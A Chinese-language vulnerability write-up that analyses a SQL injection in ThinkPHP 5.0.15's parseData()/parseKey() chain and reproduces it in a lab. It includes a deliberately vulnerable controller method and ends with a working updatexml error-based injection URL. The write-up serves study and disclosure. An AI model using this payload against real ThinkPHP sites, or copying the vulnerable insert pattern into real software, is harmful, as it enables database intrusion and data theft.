ThinkPHP V5.0.15 SQLinjection

Report 漏洞复现

0x01:漏洞分析

ThinkPHP官方在版本v5.0.16的patch提到有安全更新,通过BeyoundCompare对比当前版本和更新版本,发现修改了\thinkphp\library\think\db\Builder.php第86行的parseData()函数:

<?php
    switch ($val[0]) {
        case 'exp':
            $result[$item] = $val[1];
            break;
        case 'inc':
            if ($key == $val[1]) {
                $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
            }
            break;
        case 'dec':
            if ($key == $val[1]) {
                $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
            }
            break;
    }
?>

在每条siwtch匹配后的执行语句前加了判断,键名与键值相等才能进入拼接语句。全文检索只有insert()和update()调用了parseData()方法,这刚好对应数据库插入,更新的增删操作,需要注意的是select()并没有调用该函数。我们以insert()函数为例:

<?php
    public function insert(array $data, $options = [], $replace = false){
        // 分析并处理数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        $fields = array_keys($data);
        $values = array_values($data);
        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table'], $options),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;
    }
?>

它是ThinkPHP数据库操作的标准函数,接收数组并传递到parseData(),漏洞执行链很明显是通过可控变量$data进入insert()->parseData()->parseKey(),前两个函数都没对变量做过滤。断点调试发现程序进的不是这里第150行的parseKey(),而是\thinkphp\library\think\db\builder\Mysql.php第89行的:

<?php
    protected function parseKey($key, $options = []){
        $key = trim($key);
        if (strpos($key, '$.') && false === strpos($key, '(')) {
            // JSON字段支持
            list($field, $name) = explode('$.', $key);
            $key = 'json_extract(' . $field . ', \'$.' . $name . '\')';
        } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
            list($table, $key) = explode('.', $key, 2);
            if ('__TABLE__' == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options['alias'][$table])) {
                $table = $options['alias'][$table];
            }
        }
        if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
            $key = '`' . $key . '`';
        }
        if (isset($table)) {
            if (strpos($table, '.')) {
                $table = str_replace('.', '`.`', $table);
            }
            $key = '`' . $table . '`.' . $key;
        }
        return $key;
    }
?>

它同样没有对变量做过滤就返回结果,最后返回值拼接成SQL语句直接带入查询。

     

0x02:漏洞复现

首先配置database.php的数据库参数,再创建数据库:

create database thinkphp;
use thinkphp;
create table `user`(
    `id` INT,
    `username` VARCHAR(40)
);
insert into user(id,username) value('1','test');

在thinkphp/application/index/controller/Index.php中添加新方法:

<?php
    public function thinkphp_sqlinjection()
        {
            $username = input('get.username/a');
            db('user')->where(['id'=> 1])->insert(['username'=>$username]);
        }
?>

从分析漏洞执行链知道$_GET['username']获取数组会进入insert()函数,然后再传递到parseData()解析变量。该函数会将数组键名与键值拆分,当$username[0]的值为inc时,$username[1]的值会带入查询语句直接执行并与$username[2]的值拼接。换句话来说我们通过username[0]=inc&username[1]=payload&username[2]=1就能执行任意sql语句。测试payload:

http://127.0.0.1/thinkphp/public/index.php/Index/index/thinkphp_sqlinjection?username[0]=inc&username[1]=updatexml(1,concat(0x7e,version(),0x7e),1)&username[2]=test